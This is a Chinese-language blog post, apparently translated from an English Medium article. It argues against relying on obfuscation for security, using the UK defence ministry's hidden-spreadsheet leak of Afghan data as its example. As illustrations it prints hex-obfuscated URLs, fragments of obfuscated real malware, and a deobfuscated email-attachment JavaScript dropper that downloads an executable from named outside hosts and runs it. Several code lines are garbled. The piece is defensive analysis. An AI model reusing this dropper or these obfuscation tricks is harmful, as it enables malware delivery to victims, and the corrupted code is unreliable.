本文主要讨论了使用混淆技术来实现安全性的问题,作者通过举例说明了混淆技术在实际应用中的不足,并强调了在高度风险环境中,尤其是可能涉及生命损失的数据泄露事件中,必须采用数据加密和适当的访问控制。文章批评了使用隐藏标签等混淆手段的安全性,并强调了加密的重要性。
柯克霍夫原则指出,当一个密码系统的所有信息都是公开的,只有密钥是秘密的时候,这个密码系统才是安全的。这是密码学家们的一个原则,也应该是安全系统的核心。但是,现在我们看到英国国防部使用电子表格中的隐藏标签来隐藏超过 19,000 名阿富汗人员的数据[这里]:
文章引用如下:
根据 ICO 的一份备忘录,泄露发生时的指导意见表明,“英国国防部意识到共享数据的风险,并明确提到了需要从数据集中删除隐藏数据”。
当然,在高风险环境中,使用隐藏数据来混淆的做法是完全疏忽的。取消隐藏电子表格中的标签的能力是如此简单的事情。除此之外,通常还可以查看电子表格中的二进制数据并显示隐藏的标签。实际上,这有点像创建 Word 文档,但在白色背景上使用白色文本:
混淆已在网络安全的许多应用中使用,通常用于 Mallory 知道 Bob 正在观察他的所有通信的情况。因此,如果 Mallory 发送一些加密数据,Bob 会注意到并感到可疑。然后,Mallory 使用混淆来向 Eve 发送信息,并且所有内容对 Bob 来说看起来都很正常。因此,混淆通常用于正在进行扫描的地方——例如电子邮件扫描——并且看起来不正常的内容很可能会被阻止。
混淆的一个简单例子是使用十六进制地址来混淆 URL,例如[这里]:
172.253.115.102 混淆的 URL: http://0xACFD7366]
172.253.115.139 混淆的 URL: http://0xACFD738B]
172.253.115.100 混淆的 URL: http://0xACFD7364]
在这种情况下,http://0xACFD7366 实际上链接到 https://google.com,并且可能是避免检测违禁网站的一种方式。
有了这个,恶意软件编写者通常会通过以另一种格式编码来对浏览器/人类隐藏某些关键字。这通常针对十六进制编码 (\xZZ)、16 位 Unicode 编码 (\uZZZZ) 和八进制编码 (\ZZZ) 完成。要进行测试,请输入一个值,然后按按钮,它将转换编码的字符串[这里]:
\137\x6b\u0065\x79\u0053\u0074\x72
变为:
_keyStr
以下是一些真实恶意软件中的示例:
var _={"\137\x6b\u0065\x79\u0053\u0074\x72":(function ()
{ var pI="wxyz0123456789+/=",B="klmnopqrstuv",
G="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg",h="hij";
return G+h+B+pI })(),
"\u005f\u0075\164\146\u0038\137\u0065\u006e\u0063\x6f\x64\u0065":
function(zt){zt=zt[(String.fromCharCode(0x72,0x65,0x70,108,0141,99,101))](/\r\n/g,(
function () { var DS="n",nl="\\"; return nl+DS })());
var MF="";var w;for(w=('XROQtltRu'.length-9);w<zt[((\
function () { var u="h",W="gt",n="len"; return n+W+u })())];w++){
var S=zt[((function () { var s="t",PX="rCodeA",fs="cha"; return fs+PX+s\
})())](w);if(S<('TCMQW'.length*('q'.length*023+3)+18)){
MF+=String[(String.fromCharCode(102,114,111,0x6d,0x43,0150,0x61,114,0x43,0157,100,101))](S);}else if((S>('TFrd'.length*(3*8+6)+7))&&(S<(0x1*1774+274))){MF+=String[((function () { var sD="Code",U="r",T="fromCha"; return T+U+sD })())]
"\u0064\u0065\143\157\144\145":function(zt)
"\u0064\145\u0063\157\144\u0065"
在下一个示例中,我们有一个带有 ZIP 附件的电子邮件。初始电子邮件试图通过出庭威胁使用户感到恐慌:
所以当我们打开 ZIP 文件时,它是一个 JavaScript 文件[这里]:
基本上,这是一个加扰的 JavaScript 文件,它隐藏了实际的 JavaScript 代码。它使用标准的混淆方法,例如删除换行符,将 JavaScript 分成小块,以及随机化 JavaScript 的打印顺序。
总的来说,它按顺序调用多个函数:
var stroke="5557545E171114140B1610240A0110130B160F170D09174A070B09";
function stkg179() { vmy('un(fn'); return gj(); };
function stkg231() { vmy('(681'); return gj(); };
function stkg93() { vmy('veXOb'); return gj(); };
function stkg118() { vmy(' x'); return gj(); };
function stkg71() { vmy('h.'); return gj(); };
for (var pcrs=1; pcrs<=237; pcrs++) { vmy(this['stkg'+pcrs]()); flo += gj(); } this[z()+stkg()](flo);
它将按顺序从 stkg1() 调用到 stkg227。如果我们排序,我们会得到:
function stkg1() { vmy('funct'); return gj(); };
function stkg2() { vmy('ion '); return gj(); };
function stkg3() { vmy('dl('); return gj(); };
function stkg4() { vmy('fr'); return gj(); };
function stkg5() { vmy(') { v'); return gj(); };
function stkg6() { vmy('ar b '); return gj(); };
function stkg7() { vmy('= "6'); return gj(); };
我们可以开始看到 JavaScript 代码,它变为:
functiondl(fr) {
var b= "64.239115.111 les-eglantiers.fr ihaveavoice2com".split();
for (var i0; i&b.lengi++)
{
varws = new ActiveXObject("WScript.Shell);
var fn =ws.ExpandEnvironmentStrings(%TEMP%")+String.fromCharCode-92#NAME?h.round(Math.random()*10000)+".exe";
vardn =0;
var xo = new ActiveXObject("MSXML2.XMLHTTP);
xo.onreadystatechan ge =function {
if (xo.readyState == 4 && xo.status =200){
var xa =newActiveXObject(ADODB.Stream");
xa.open();xa.type =1; xa.write(xo. ResponseBody);
if (xa.size > 500){
dn = 1;xa.position = 0;
xa.saveToFile(fn,2);
try { ws.Run(fn,1,0);
} catch (er) {}; };
xa.close; }; };
try {
xo.open("GET,http://"+b[i]+/document.php?rnd="+fr+"&id="+stroke,false);
xo.send;
} catch (er) {};
if (dn== 1) break;}; }; dl(681); dl(292); dl(3913);
该脚本访问网站 ( les-eglantiers.fr ) 并在 %Temp% 文件夹下下载一个可执行文件,该文件具有随机生成的文件名(这是计算机上的 TEMP 文件夹)。然后执行它。
在高风险环境中的安全性——尤其是在数据泄露可能导致生命损失的情况下——必须涉及数据加密和对数据的适当访问控制。应用隐藏标签相当于在白色背景上用白色字体书写——这只是垃圾安全!为此,香农定义,通过混淆,“敌人了解系统”。
加密,加密,加密!
- 原文链接: medium.com/asecuritysite...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!